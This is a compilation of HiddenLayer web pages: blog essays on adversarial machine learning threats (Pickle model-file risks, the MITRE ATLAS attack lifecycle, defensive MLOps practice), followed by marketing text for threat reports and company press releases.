Introduction

Over the last decade, Machine Learning (ML) has become increasingly more commonplace, transcending the digital world into that of the physical. While some technologies are practically synonymous with ML (like home voice assistants and self-driving cars), it isn’t always as noticeable when big buzzwords and flashy marketing jargon haven’t been used. Here is a non-exhaustive list of common machine learning use cases:

• Recommendation algorithms for streaming services and social networks
• Facial recognition/biometrics such as device unlocking
• Targeted ads tailored to specific demographics
• Anti-malware & anti-spam security solutions
• Automated customer support agents and chatbots
• Manufacturing, quality control, and warehouse logistics
• Bank loan, mortgage, or insurance application approval
• Financial fraud detection
• Medical diagnosis
• And many more!

Pretty incredible, right? But it’s not just Fortune 500 companies or sprawling multinationals using ML to perform critical business functions. With the ease of access to vast amounts of data, open-source libraries, and readily-available learning material, ML has been brought firmly into the hands of the people.

It's a game of give and take

Libraries such as SciKit, Numpy, TensorFlow, PyTorch, and CreateML have made it easier than ever to create ML models that solve complex problems, including tasks that only a few years ago could have been done solely by humans - and many, at that. Creating and implementing a model is now so frictionless that you can go from zero to hero in hours. However, as with most sprawling software ecosystems, as the barrier for entry lowers, the barrier to secure it rises.

As is often the case with significant technological advancements, we create, design, and build in a flurry, then gradually realize how the technology can be misused, abused, or attacked. With how easily ML can be harnessed and the depth to which the technology has been woven into our lives, we have to ask ourselves a few tricky questions:

• Could someone attack, disrupt or manipulate critical ML models?
• What are the potential consequences of an attack on an ML model?
• Are there any security controls in place to protect against attack?

And perhaps most crucially:

• Could you tell if you were under attack?

Depending on the criticality of the model and how an adversary could attack it, the consequences of an attack can range from unpleasant to catastrophic. As we increasingly rely on ML-powered solutions, the attacks against ML models - known broadly as adversarial machine learning (AML) - are becoming more pervasive now than ever.

What is an Adversarial Machine Learning attack?

An adversarial machine learning attack can take many forms, from a single pixel placed within an image to produce a wrong classification to manipulating a stock trading model through data poisoning or inference for financial gain. Adversarial ML attacks do not resemble your typical malware infection. At least, not yet - we’ll explore this later!

Adversarial ML is a relatively new, cutting-edge frontier of cybersecurity that is still primarily in its infancy. Research into novel attacks that produce erroneous behavior in models and can steal intellectual property is only on the rise. An article on the technology news site VentureBeat states that in 2014 there were zero papers regarding adversarial ML on the research sharing repository Arxiv.org. As of 2020, they record this number as an approximate 1,100. Today, there are over 2,000.

The recently formed MITRE - ATLAS (Adversarial Threat Landscape for Artificial-Intelligence Systems), made by the creators of MITRE ATT&CK, documents several case studies of adversarial attacks on ML production systems, none of which have been performed in controlled settings. It's worth noting that there is no regulatory requirement to disclose adversarial ML attacks at the time of writing, meaning that the actual number, while almost certainly higher, may remain a mystery. A publication that deserves an honorable mention is the 2019 draft of ‘A Taxonomy and Terminology of Adversarial Machine Learning’ by the National Institute of Standards and Technology (NIST). The content of which has proven invaluable in so far as to create a common language and conceptual framework to help define the adversarial machine learning problem space.

It's not just the algorithm

Since its inception, AML research has primarily focused on model/algorithm-centric attacks such as data poisoning, inference, and evasion - to name but a few. However, the attack surface has become even wider still. Instead of targeting the underlying algorithm, attackers are instead choosing to target how models are stored on disk, in-memory, and how they’re deployed and distributed. While ML is often touted as a transcendent technology that could almost be beyond the reach of us mere mortals, it’s still bound by the same constraints as any other piece of software, meaning many similar vulnerabilities can be found and exploited. However, these are often outside the purview of existing security solutions, such as anti-virus and EDR.

To illustrate this point, we need not look any further than the insecurity and abuse of the Pickle file format. For the uninitiated, Pickle is a serialized storage format which has become almost ubiquitous with the storage and sharing of pre-trained machine learning models. Researchers from TrailOfBits show how the format can execute malicious code as soon as a model is loaded using their open source tool called ‘Fickling’. This significant insecurity has been acknowledged since at least 2011, as per the Pickle documentation:

Considering that this has been a known issue for over a decade, coupled with the continued use and ubiquity of this serialization format, it makes the thought of an adversarial pickle a scary one.

Cost and consequence

The widespread adoption of ML, combined with the increasing level of responsibility and trust, dramatically increases the potential attack surface for adversarial attacks and possible consequences. Businesses across every vertical depend on machine learning for their critical business functions, which has led the machine learning market to an approximate valuation of over $100 billion, with estimates of up to multiple trillion by the year 2030. These figures represent an ever enticing target for cybercriminals and espionage alike.

The implications of an adversarial attack vary depending on the application of the model. For example, a model that classifies types of iris flowers will have a different threat model than a model that predicts heart disease based on a series of historical indicators. However, even with models that don't have a significant risk of ‘going wrong’, the model(s) you deploy may be your company's crown jewels. That same iris flower classifier may be your competitive advantage in the market. If it was to be stolen, you risk losing your IP and your advantage along with it. While not a fully comprehensive breakdown, the following image helps to paint a picture of the potential ramifications of an adversarial attack on an ML model:

But why now?

We've all seen news articles warning of impending doom caused by machine learning and artificial intelligence. It's easy to get lost in fear-mongering and can prove difficult to separate the alarmist from the pragmatist. Even reading this article, it’s easy to look on with skepticism. But we're not talking about the potential consequences of ‘the singularity’ here - HAL, Skynet, or the Cylons chasing a particular Battlestar will all agree that we're not quite there yet. We are talking about ensuring that security is taken into active consideration in the development, deployment, and execution of ML models, especially given the level of trust placed upon them.

Just as ML transitioned from a field of conceptual research into a widely accessible and established sector, it is now transitioning into a new phase, one where security must be a major focal point.

Conclusions

Machine learning has reached another evolutionary inflection point, where it has become more accessible than ever and no longer requires an advanced background in hard data science/statistics. As ML models become easier to deploy, use, and more commonplace within our programming toolkit, there is more room for security oversights and vulnerabilities to be introduced.

As a result, AML attacks are becoming steadily more prevalent. The amount of academic and industry research in this area has been increasing, with more attacks choosing not to focus on the model itself but on how it is deployed and implemented. Such attacks are a rising threat that has largely gone under the radar.

Even though AML is at the cutting edge of modern cybersecurity and may not yet be as household a name as your neighborhood ransomware group, we have to ask the question: when is the best time to defend yourself from an attack, before or after it’s happened?

About HiddenLayer

HiddenLayer helps enterprises safeguard the machine learning models behind their most important products with a comprehensive security platform. Only HiddenLayer offers turnkey AI/ML security that does not add unnecessary complexity to models and does not require access to raw data and algorithms. Founded in March of 2022 by experienced security and ML professionals, HiddenLayer is based in Austin, Texas, and is backed by cybersecurity investment specialist firm Ten Eleven Ventures. For more information, visit www.hiddenlayer.com and follow us on LinkedIn or Twitter.

Understanding and mitigating security risks in machine learning (ML) and artificial intelligence (AI) is an emerging field in cybersecurity, with reverse engineers, forensic analysts, incident responders, and threat intelligence experts joining forces with data scientists to explore and uncover the ML/AI threat landscape. Key to this effort is describing the anatomy of attacks to stakeholders, from CISOs to MLOps and cybersecurity practitioners, helping organizations better assess risk and implement robust defensive strategies.

This blog explores the adversarial machine learning lifecycle from both an attacker’s and defender’s perspective. It aims to raise awareness of the types of ML attacks and their progression, as well as highlight security considerations throughout the MLOps software development lifecycle (SDLC). Knowledge of adversarial behavior is crucial to driving threat modeling and risk assessments, ultimately helping to improve the security posture of any ML/AI project.

A Broad New Attack Surface

Over the past few decades, machine learning (ML) has been increasingly utilized to solve complex statistical problems involving large data sets across various industries, from healthcare and fintech to cyber-security, automotive, and defense. Primarily driven by exponential growth in storage and computing power and great strides in academia, challenges that seemed insurmountable just a decade ago are now routinely and cost-effectively solved using ML. What began as academic research has now blossomed into a vast industry, with easily accessible libraries, toolkits, and APIs lowering the barrier of entry for practitioners. However, as with any software ecosystem, as soon as it gains sufficient popularity, it will swiftly attract the attention of security researchers and hackers alike, who look to exploit weaknesses, sometimes for fun, sometimes for profit, and sometimes for far more nefarious purposes.

To date, most adversarial ML/AI research has focused on the mathematical aspect, making algorithms more robust in handling malicious input. However, over the past few years, more security researchers have begun exploring ML algorithms and how models are developed, maintained, packaged, and deployed, hunting for weaknesses and vulnerabilities across the broader software ecosystem. These efforts have led to the frequent discovery of many new attack techniques and, in turn, a greater understanding of how practical attacks are performed against real-world ML implementations. Lately, it has been possible to take a more holistic view of ML attacks and devise comprehensive threat models and lifecycles, somewhat akin to the Lockheed Martin cyber kill chain or MITRE ATT&CK framework. This crucial undertaking has allowed the security industry to better assess and quantify the risks associated with ML and develop a greater understanding of how to implement mitigation strategies and countermeasures.

Adversary Tactics and Techniques - Know Your Craft

Understanding how practical attacks against machine learning implementations are conducted, the tactics and techniques adversaries employ, as well as performing simple threat modeling throughout the MLOps lifecycle, allows us to identify the most effective ways in which to implement countermeasures to perceived threats. To aid in this process, it is helpful to understand how adversaries perform attacks.

Launched in 2021, MITRE, in collaboration with organizations including Microsoft, Bosch, IBM, and NVIDIA, announced MITRE ATLAS, an “Adversarial Threat Landscape for Artificial-Intelligence Systems,” which provides a comprehensive knowledgebase of adversary tactics and techniques and a matrix outlining the progression of attacks throughout the attack lifecycle. It is an excellent introduction for MLOps and cybersecurity teams, and it is highly recommended that you peruse the matrix and case studies to familiarise yourself with practical, real-world attack examples.

Adversary Lifecycle - An Attackers Perspective

The progression of attacks in the MITRE ATLAS matrix may look quite familiar to anyone with a cyber-security background, and that’s because many of the stages are present in more traditional adversary lifecycles for dealing with malware and intrusions. As with most adversary lifecycles, it is typically cheaper and simpler to disrupt attacks during the early phases rather than the latter, something that’s worth bearing in mind when threat modeling for MLOps.

Let’s give a breakdown of the most common stages of the machine learning adversary lifecycle and consider an attacker’s objectives. It is worth noting that attacks will usually comprise several of the following stages, but not necessarily all, depending on the techniques and motives of the attacker.

Reconnaissance

During the reconnaissance phase, an adversary typically tries to infer information about the target model, parameters, training set, or deployment. Methods employed include searching online publications for revealing information about models and training sets, reverse engineering/debugging software, probing endpoints/APIs, and social engineering.

Any attacks conducted at this stage are usually considered “black-box” attacks, with the adversary possessing little to no knowledge of the target model or systems and aiming to boost their understanding.

Information that an attacker gleans either actively or passively can be used to tailor subsequent attacks. As such, it is best to keep information about your models confidential and ensure that robust strategies are in place for dealing with malicious input at decision time.

Initial Compromise

During the initial compromise stage, an adversary is able to obtain access to systems hosting machine learning artifacts. This could be through traditional cyber-attacks, such as social engineering, deploying malware, compromising the software supply chain, edge-computing devices, compromised containers, or attacks against hardware and firmware. The attacker’s objectives at this stage could be to poison training data, steal sensitive information or establish further persistence.

Once an attacker has a partial understanding of either the model, training data, or deployment, they can begin to conduct “grey-box” attacks based on the information gleaned.

Persistence

Maintaining persistence is a term used to describe threats that survive a system reboot, usually through autorun mechanisms provided by the operating system. For ML attacks, adversaries can maintain persistence via poisoned data that persists on disk, backdoored model files, or code that can be used to tamper with models at runtime.

Discovery

Like the reconnaissance stage, when performing discovery, an attacker tries to determine information about the target model, parameters, or training data. Armed with access to a model, either locally or via remote API, “oracle attacks” can be performed to probe models to determine how they might have been trained and configured, determine if a sample was perhaps present in the training set, or to try and reconstruct the training set or model entirely.

Once an adversary has full knowledge of a target model, they can begin to conduct “white-box” attacks, greatly simplifying the process of hunting for vulnerabilities, generating adversarial samples, and staging further attacks. With enough knowledge of the input features, attackers can also train surrogate (or proxy) models that can be used to simulate white-box attacks. This has proven a reliable technique for generating adversarial samples to evade detection from cyber-security machine learning solutions.

Collection

During the collection stage, adversaries aim to harvest sensitive information from documentation and source code, as well as machine learning artifacts such as models and training data, aiming to elevate their knowledge sufficiently to start performing grey or white-box attacks.

Staging

Staging can be fairly broad in scope as it comprises the deployment of common malware and attack tooling alongside more bespoke attacks against machine learning models.

The staging of adversarial ML attacks can be broadly classified as train-time attacks and decision-time attacks.

Training-time attacks occur during the data processing, training, and evaluation stages of the MLOps development lifecycle. They may include poisoning datasets through injection, manipulation, and training substitute models for further “white-box” interrogation.

Decision-time (or inference-time) attacks occur during run-time as a model makes predictions. These attacks typically focus on interrogating models to determine information about features, training data, or hyperparameters used for tuning. However, tampering with models on disk or injecting backdoors into pre-trained models may also be a type of decision time attack. We colloquially refer to such attacks as model hijacking.

Exfiltration

In most adversary lifecycles, exfiltration refers to the loss/theft (or unauthorized copying/movement) of sensitive data from a device. In an adversarial machine learning setting, exfiltration typically involves the theft of training data, code, or models (either directly or via inference attacks against the model).

In addition, machine learning models may sometimes reveal secrets about their training data or even leak sensitive information/PII (potentially in breach of data protection laws and regulations), which adversaries may try to obtain through various attacks.

Impact

Where an adversary might have one specific endgame in mind, such as bypassing security controls, or theft of data, the overall impact to a victim might be pretty extensive, including (but certainly not limited to):

• Denial-of-Service
• Degradation of Service
• Evasion/Bypass of Detection
• Financial Gain/Loss
• Intellectual Property Theft
• Data Exfiltration
• Data Loss
• Staging Attacks
• Loss of Reputation/Confidence
• Disinformation/Manipulation of Public Opinion
• Loss of Life/Personal Injury

Understanding the likely endgames for an attacker with respect to relevant impact scenarios can help to define and adopt a robust defensive security posture that is conscientious of factors such as cost, risk, likelihood, and impact.

MLOps Lifecycle - A Defenders Perspective

For security practitioners, the machine learning adversary lifecycle is hugely beneficial as it allows us to understand the anatomy of attacks and implement countermeasures. When advising MLOps teams comprising data scientists, developers, and project managers, it can often help us to relate attacks to various stages of the MLOps development lifecycle. This context provides MLOps teams with a greater awareness of the potential pitfalls that may lead to security risks during day-to-day operations and helps to facilitate risk assessments, security auditing, and compliance testing for ML/AI projects.

Let’s explore some of the standard phases of a typical MLOps development lifecycle and highlight the critical security concerns at each stage.

Planning

From a security perspective, for any person or team embarking on a machine learning project of reasonable complexity, it is worth considering:

• Privacy legislation and data protection laws
• Asset management
• The trust model for data and documentation
• Threat modeling
• Adversary lifecycle
• Security testing and auditing
• Supply chain attacks

Although these topics might seem “boring” to many practitioners, careful consideration during project planning can help to highlight potential risks and serve as a good basis for defining an overarching security posture.

Data Collection, Processing & Storage

The biggest concern during the data handling phase is the poisoning of datasets, typically through poorly sourced training data, badly labeled data, or the deliberate insertion, manipulation, or corruption of samples by an adversary.

Ensuring training data is responsibly sourced and labeling efforts are verified, alongside role-based access controls (RBAC) and adopting the least privilege principle for data and documentation, will make it harder for attackers to obtain sensitive artifacts and poison training data.

Feature engineering

Feature integrity and resilience to tampering are the main concerns during feature engineering, with RBAC again playing an important factor in mitigating risk by ensuring access to documentation, training data, and feature sets are restricted to those with a need to know. In addition, understanding which features may be likely to lead to drift, bias, or even information leakage, can help to improve not only the security of the model (for example, by employing differential privacy techniques) but often results in higher accuracy models for less training and evaluation effort. A solid win all around!

Training

The training phase introduces many potential security risks, from using pre-trained models for transfer learning that may have been adversarially tampered with to vulnerable learning algorithms or the potential to train models that may leak or reveal sensitive information.

During the training phase, regardless of the origin of training data, it is also worth considering the use of robust learning algorithms that offer resilience to poisoning attacks, even when employing granular access controls and data sanitization methods to spot adversarial samples in training data.

Evaluation

After training, data scientists will typically spend time evaluating the model’s performance on external data, which is an ideal time in the lifecycle to perform security testing.

Attackers will ultimately be looking to reverse engineer model training data or tamper with input features to infer meaning. These attacks need to be preempted and robustness checked during model evaluation. Also, consider if there is any risk of bias or discrimination in your models, which might lead to poor quality predictions and risk of reputational harm if discovered.

Deployment

Deployment is another perilous phase of the lifecycle, where the model transitions from development into production. This introduces the possibility of the model falling into the hands of adversaries, raising the potential for added security risks from decision time attacks.

Adversaries will attempt to tamper with model input, infer features and training data, and probe for data leakage. The type of deployment (i.e., online, offline, embedded, browser, etc.) will significantly alter the attack surface for an adversary. For example, it is often far more straightforward for attackers to probe and reverse engineer a model if they possess a local copy rather than conducting attacks via a web API.

As attacks against models gain traction, “model hygiene” should be at the forefront of concerns, especially when dealing with pre-trained models from public repositories. Due to the lack of cryptographic signing and verification of ML artifacts, it is not safe to assume that publicly available models have not been tampered with. Tampering may introduce backdoors that can subvert the model at decision time or embed trojans used to stage further malware and attacks. To this end, running pre-trained models in a secure sandbox is highly recommended.

Monitoring

Decision-time attacks against models must be monitored, and appropriate actions taken in response to various classes of attack. Some responses might be automated, such as ignoring or rate limiting requests, while sometimes having a “human-in-the-loop” is necessary. This might be a security analyst or data scientist who is responsible for triaging alerts, investigating attacks, and potentially retraining models or implementing further countermeasures.

Maintenance

Conducting continuous risk assessment and threat modeling during model development and maintenance is crucial. Circumstances may change as projects grow, requiring a shift in security posture to cater for previous unforeseen risks.

Failing to Prepare is Preparing to Fail

It is always worth assuming that your machine learning models, systems, and maybe even people will be the target of attack. Considering the entire attack surface and effective countermeasures for large and complex projects can often be daunting. Still, thankfully some existing approaches can help to identify and mitigate risk effectively.

Threat Modelling

Sun Tzu most succinctly describes threat modeling:

“If you know the enemy and know yourself, you need not fear the result of a hundred battles.” - Sun Tzu, The Art of War.

In more practical terms, OWASP provides a great explanation of threat modeling (Threat Modeling | OWASP Foundation), providing a means to identify and mitigate risk throughout the software development lifecycle (SDLC).

Some key questions to ask yourself when performing threat modeling for machine learning software projects might include:

• Who are your adversaries, and what might their goals be?
• Could an adversary discover the training data or model?
• How might an attacker benefit from attacking the model?
• What might an attack look like in real life?
• What might an attack’s impact (and potential legal ramifications) be?

Again, careful consideration of these questions can help to identify security requirements and shape the overall security posture of an ML project, allowing for the implementation of diverse security mechanisms for identifying and mitigating potential threats.

Trust Model

In the context of a machine learning SDLC, trust models help to determine which stakeholders require access to information such as training data, feature sets, documentation and source code, etc. Employing granular role-based access controls for teams and individuals helps adhere to the principle of least privilege access, making life harder for adversaries to obtain and exfiltrate sensitive information and machine learning artifacts.

Conclusions

As AML becomes more deeply entwined with the broader cybersecurity ecosystem, the diverse skill-sets of veteran security practitioners’ will help us formalize methodologies and processes to better evaluate and communicate risk, research practical attacks, and, most crucially, provide new and effective countermeasures to detect and respond to attacks.

Everyone from CISOs and MLOps teams to cybersecurity stakeholders can benefit from having a high-level understanding of the adversarial machine learning attack matrix, lifecycles, and threat/trust models, which are crucial to improving awareness and bringing security considerations to the forefront of ML/AI production.

We look forward to publishing more in-depth technical research into adversarial machine learning in the near future and working closely with the ML/AI community to better understand and mitigate risk.

About HiddenLayer

HiddenLayer helps enterprises safeguard the machine learning models behind their most important products with a comprehensive security platform. Only HiddenLayer offers turnkey AI/ML security that does not add unnecessary complexity to models and does not require access to raw data and algorithms. Founded in March of 2022 by experienced security and ML professionals, HiddenLayer is based in Austin, Texas, and is backed by cybersecurity investment specialist firm Ten Eleven Ventures. For more information, visit www.hiddenlayer.com and follow us on LinkedIn or Twitter.

The threat landscape has shifted.

In this year's HiddenLayer 2026 AI Threat Landscape Report, our findings point to a decisive inflection point: AI systems are no longer just generating outputs, they are taking action.

Agentic AI has moved from experimentation to enterprise reality. Systems are now browsing, executing code, calling tools, and initiating workflows on behalf of users. That autonomy is transforming productivity, and fundamentally reshaping risk.In this year’s report, we examine:

• The rise of autonomous, agent-driven systems
• The surge in shadow AI across enterprises
• Growing breaches originating from open models and agent-enabled environments
• Why traditional security controls are struggling to keep pace

Our research reveals that attacks on AI systems are steady or rising across most organizations, shadow AI is now a structural concern, and breaches increasingly stem from open model ecosystems and autonomous systems.

The 2026 AI Threat Landscape Report breaks down what this shift means and what security leaders must do next.

We’ll be releasing the full report March 18th, followed by a live webinar April 8th where our experts will walk through the findings and answer your questions.

‍

The technology sector leads the world in AI innovation, leveraging it not only to enhance products but to transform workflows, accelerate development, and personalize customer experiences. Whether it’s fine-tuned LLMs embedded in support platforms or custom vision systems monitoring production, AI is now integral to how tech companies build and compete.

This playbook is built for CISOs, platform engineers, ML practitioners, and product security leaders. It delivers a roadmap for identifying, governing, and protecting AI systems without slowing innovation.

Start securing the future of AI in your organization today by downloading the playbook.

AI is transforming the financial services industry, but without strong governance and security, these systems can introduce serious regulatory, reputational, and operational risks.

This playbook gives CISOs and security leaders in banking, insurance, and fintech a clear, practical roadmap for securing AI across the entire lifecycle, without slowing innovation.

Start securing the future of AI in your organization today by downloading the playbook.

Download your copy of our 2025 AI Threat Landscape Reporttoday to learn more about evolving AI vulnerabilities and how securing AI can fuel your organization’s innovation.

Download your copy of Securing Your AI: A Step-by-Step Guide for CISOs to gain clear, practical steps to help leaders worldwide secure their AI systems and dispel myths that can lead to insecure implementations.

This guide is divided into four parts targeting different aspects of securing your AI:

Part 1

How Well Do You Know Your AI Environment

Part 2

Governing Your AI Systems

Part 3

Strengthen Your AI Systems

Part 4

Audit and Stay Up-To-Date on Your AI Environments

Artificial intelligence is the fastest-growing technology we have ever seen, but because of this, it is the most vulnerable.

To help understand the evolving cybersecurity environment, we developed HiddenLayer’s 2024 AI Threat Landscape Report as a practical guide to understanding the security risks that can affect any and all industries and to provide actionable steps to implement security measures at your organization.

The cybersecurity industry is working hard to accelerate AI adoption — without having the proper security measures in place. For instance, did you know:

98% of IT leaders consider their AI models crucial to business success

77% of companies have already faced AI breaches

92% are working on strategies to tackle this emerging threat

AI Threat Landscape Report Webinar

You can watch our recorded webinar with our HiddenLayer team and industry experts to dive deeper into our report’s key findings. We hope you find the discussion to be an informative and constructive companion to our full report.

We provide insights and data-driven predictions for anyone interested in Security for AI to:

• Understand the adversarial ML landscape

• Learn about real-world use cases

• Get actionable steps to implement security measures at your organization

We invite you to join us in securing AI to drive innovation. What you’ll learn from this report:

• Current risks and vulnerabilities of AI models and systems
• Types of attacks being exploited by threat actors today
• Advancements in Security for AI, from offensive research to the implementation of defensive solutions
• Insights from a survey conducted with IT security leaders underscoring the urgent importance of securing AI today
• Practical steps to getting started to secure your AI, underscoring the importance of staying informed and continually updating AI-specific security programs

Security For AI Explained Webinar

Joined by Databricks & guest speaker, Forrester, we hosted a webinar to review the emerging threatscape of AI security & discuss pragmatic solutions. They delved into our commissioned study conducted by Forrester Consulting on Zero Trust for AI & explained why this is an important topic for all organizations. Watch the recorded session here.

86% of respondents are extremely concerned or concerned about their organization's ML model Security

When asked: How concerned are you about your organization’s ML model security?

80% of respondents are interested in investing in a technology solution to help manage ML model integrity & security, in the next 12 months

When asked: How interested are you in investing in a technology solution to help manage ML model integrity & security?

86% of respondents list protection of ML models from zero-day attacks & cyber attacks as the main benefit of having a technology solution to manage their ML models

When asked: What are the benefits of having a technology solution to manage the security of ML models?

Key Takeaways

• Why agentic AI requires a formal code of conduct framework
  
  
• How runtime inspection and enforcement enable operational AI governance
  
  
• Best practices for AI oversight, logging, and compliance monitoring
  
  
• How to align AI governance with risk tolerance and regulatory requirements
  
  
• The evolving vendor landscape supporting AI trust, risk, and security management

Austin, TX – December 23, 2025 – HiddenLayer, the leading provider of Security for AI, today announced it has been selected as an awardee on the Missile Defense Agency’s (MDA) Scalable Homeland Innovative Enterprise Layered Defense (SHIELD) multiple-award, indefinite-delivery/indefinite-quantity (IDIQ) contract. The SHIELD IDIQ has a ceiling value of $151 billion and serves as a core acquisition vehicle supporting the Department of Defense’s Golden Dome initiative to rapidly deliver innovative capabilities to the warfighter.

The program enables MDA and its mission partners to accelerate the deployment of advanced technologies with increased speed, flexibility, and agility. HiddenLayer was selected based on its successful past performance with ongoing US Federal contracts and projects with the Department of Defence (DoD) and United States Intelligence Community (USIC). “This award reflects the Department of Defense’s recognition that securing AI systems, particularly in highly-classified environments is now mission-critical,” said Chris “Tito” Sestito, CEO and Co-founder of HiddenLayer. “As AI becomes increasingly central to missile defense, command and control, and decision-support systems, securing these capabilities is essential. HiddenLayer’s technology enables defense organizations to deploy and operate AI with confidence in the most sensitive operational environments.”

Underpinning HiddenLayer’s unique solution for the DoD and USIC is HiddenLayer’s Airgapped AI Security Platform, the first solution designed to protect AI models and development processes in fully classified, disconnected environments. Deployed locally within customer-controlled environments, the platform supports strict US Federal security requirements while delivering enterprise-ready detection, scanning, and response capabilities essential for national security missions.

HiddenLayer’s Airgapped AI Security Platform delivers comprehensive protection across the AI lifecycle, including:

• Comprehensive Security for Agentic, Generative, and Predictive AI Applications: Advanced AI discovery, supply chain security, testing, and runtime defense.
• Complete Data Isolation: Sensitive data remains within the customer environment and cannot be accessed by HiddenLayer or third parties unless explicitly shared.
• Compliance Readiness: Designed to support stringent federal security and classification requirements.
• Reduced Attack Surface: Minimizes exposure to external threats by limiting unnecessary external dependencies.

“By operating in fully disconnected environments, the Airgapped AI Security Platform provides the peace of mind that comes with complete control,” continued Sestito. “This release is a milestone for advancing AI security where it matters most: government, defense, and other mission-critical use cases.”

The SHIELD IDIQ supports a broad range of mission areas and allows MDA to rapidly issue task orders to qualified industry partners, accelerating innovation in support of the Golden Dome initiative’s layered missile defense architecture.

Performance under the contract will occur at locations designated by the Missile Defense Agency and its mission partners.

About HiddenLayer

HiddenLayer, a Gartner-recognized Cool Vendor for AI Security, is the leading provider of Security for AI. Its security platform helps enterprises safeguard their agentic, generative, and predictive AI applications. HiddenLayer is the only company to offer turnkey security for AI that does not add unnecessary complexity to models and does not require access to raw data and algorithms. Backed by patented technology and industry-leading adversarial AI research, HiddenLayer’s platform delivers supply chain security, runtime defense, security posture management, and automated red teaming.

Contact

SutherlandGold for HiddenLayer
hiddenlayer@sutherlandgold.com

AUSTIN, TX — December 1, 2025 — HiddenLayer, the leading AI security platform for agentic, generative, and predictive AI applications, today announced expanded integrations with Amazon Web Services (AWS) Generative AI offerings and a major platform update debuting at AWS re:Invent 2025. HiddenLayer offers additional security features for enterprises using generative AI on AWS, complementing existing protections for models, applications, and agents running on Amazon Bedrock, Amazon Bedrock AgentCore, Amazon SageMaker, and SageMaker Model Serving Endpoints.

As organizations rapidly adopt generative AI, they face increasing risks of prompt injection, data leakage, and model misuse. HiddenLayer’s security technology, built on AWS, helps enterprises address these risks while maintaining speed and innovation.

“As organizations embrace generative AI to power innovation, they also inherit a new class of risks unique to these systems,” said Chris Sestito, CEO and Co-Founder of HiddenLayer. “Working with AWS, we’re ensuring customers can innovate safely, bringing trust, transparency, and resilience to every layer of their AI stack.”

Built on AWS to Accelerate Secure AI Innovation

HiddenLayer’s AI Security Platform and integrations are available in AWS Marketplace, offering native support for Amazon Bedrock and Amazon SageMaker. The company complements AWS infrastructure security by providing AI-specific threat detection, identifying risks within model inference and agent cognition that traditional tools overlook.

Through automated security gates, continuous compliance validation, and real-time threat blocking, HiddenLayer enables developers to maintain velocity while giving security teams confidence and auditable governance for AI deployments.

Alongside these integrations, HiddenLayer is introducing a complete platform redesign and the launches of a new AI Discovery module and an enhanced AI Attack Simulation module, further strengthening  its end-to-end AI Security Platform that protects agentic, generative, and predictive AI systems.

Key enhancements include:

• AI Discovery: Identifies AI assets within technical environments to build AI asset inventories
  
• AI Attack Simulation: Automates adversarial testing and Red Teaming to identify vulnerabilities before deployment.
  
• Complete UI/UX Revamp: Simplified sidebar navigation and reorganized settings for faster workflows across AI Discovery, AI Supply Chain Security, AI Attack Simulation, and AI Runtime Security.
  
• Enhanced Analytics: Filterable and exportable data tables, with new module-level graphs and charts.
  
• Security Dashboard Overview: Unified view of AI posture, detections, and compliance trends.
  
• Learning Center: In-platform documentation and tutorials, with future guided walkthroughs.

HiddenLayer will demonstrate these capabilities live at AWS re:Invent 2025, December 1–5 in Las Vegas.

To learn more or request a demo, visit https://hiddenlayer.com/reinvent2025/.

About HiddenLayer
HiddenLayer, a Gartner-recognized Cool Vendor for AI Security, is the leading provider of Security for AI. Its platform helps enterprises safeguard agentic, generative, and predictive AI applications without adding unnecessary complexity or requiring access to raw data and algorithms. Backed by patented technology and industry-leading adversarial AI research, HiddenLayer delivers supply chain security, runtime defense, posture management, and automated red teaming.

For more information, visit www.hiddenlayer.com.

Press Contact:
SutherlandGold for HiddenLayer
hiddenlayer@sutherlandgold.com

On September 30, Databricks officially launched its Data Intelligence Platform for Cybersecurity, marking a significant step in unifying data, AI, and security under one roof. At HiddenLayer, we’re proud to be part of this new data intelligence platform, as it represents a significant milestone in the industry's direction.

Why Databricks’ Data Intelligence Platform for Cybersecurity Matters for AI Security

Cybersecurity and AI are now inseparable. Modern defenses rely heavily on machine learning models, but that also introduces new attack surfaces. Models can be compromised through adversarial inputs, data poisoning, or theft. These attacks can result in missed fraud detection, compliance failures, and disrupted operations.

Until now, data platforms and security tools have operated mainly in silos, creating complexity and risk.

The Databricks Data Intelligence Platform for Cybersecurity is a unified, AI-powered, and ecosystem-driven platform that empowers partners and customers to modernize security operations, accelerate innovation, and unlock new value at scale.

How HiddenLayer Secures AI Applications Inside Databricks

HiddenLayer adds the critical layer of security for AI models themselves. Our technology scans and monitors machine learning models for vulnerabilities, detects adversarial manipulation, and ensures models remain trustworthy throughout their lifecycle.

By integrating with Databricks Unity Catalog, we make AI application security seamless, auditable, and compliant with emerging governance requirements. This empowers organizations to demonstrate due diligence while accelerating the safe adoption of AI.

The Future of Secure AI Adoption with Databricks and HiddenLayer

The Databricks Data Intelligence Platform for Cybersecurity marks a turning point in how organizations must approach the intersection of AI, data, and defense. HiddenLayer ensures the AI applications at the heart of these systems remain safe, auditable, and resilient against attack.

As adversaries grow more sophisticated and regulators demand greater transparency, securing AI is an immediate necessity. By embedding HiddenLayer directly into the Databricks ecosystem, enterprises gain the assurance that they can innovate with AI while maintaining trust, compliance, and control.

In short, the future of cybersecurity will not be built solely on data or AI, but on the secure integration of both. Together, Databricks and HiddenLayer are making that future possible.

FAQ: Databricks and HiddenLayer AI Security

What is the Databricks Data Intelligence Platform for Cybersecurity?
The Databricks Data Intelligence Platform for Cybersecurity delivers the only unified, AI-powered, and ecosystem-driven platform that empowers partners and customers to modernize security operations, accelerate innovation, and unlock new value at scale.

Why is AI application security important?
AI applications and their underlying models can be attacked through adversarial inputs, data poisoning, or theft. Securing models reduces risks of fraud, compliance violations, and operational disruption.

How does HiddenLayer integrate with Databricks?
HiddenLayer integrates with Databricks Unity Catalog to scan models for vulnerabilities, monitor for adversarial manipulation, and ensure compliance with AI governance requirements.

AUSTIN, TX — July 16, 2025 — HiddenLayer, the leading provider of security solutions for artificial intelligence, is proud to announce the appointment of Chelsea Strong as Chief Revenue Officer (CRO). With over 25 years of experience driving enterprise sales and business development across the cybersecurity and technology landscape, Strong brings a proven track record of scaling revenue operations in high-growth environments.

As CRO, Strong will lead HiddenLayer’s global sales strategy, customer success, and go-to-market execution as the company continues to meet surging demand for AI/ML security solutions across industries. Her appointment signals HiddenLayer’s continued commitment to building a world-class executive team with deep experience in navigating rapid expansion while staying focused on customer success.

“Chelsea brings a rare combination of startup precision and enterprise scale,” said Chris Sestito, CEO and Co-Founder of HiddenLayer. “She’s not only built and led high-performing teams at some of the industry’s most innovative companies, but she also knows how to establish the infrastructure for long-term growth. We’re thrilled to welcome her to the leadership team as we continue to lead in AI security.”

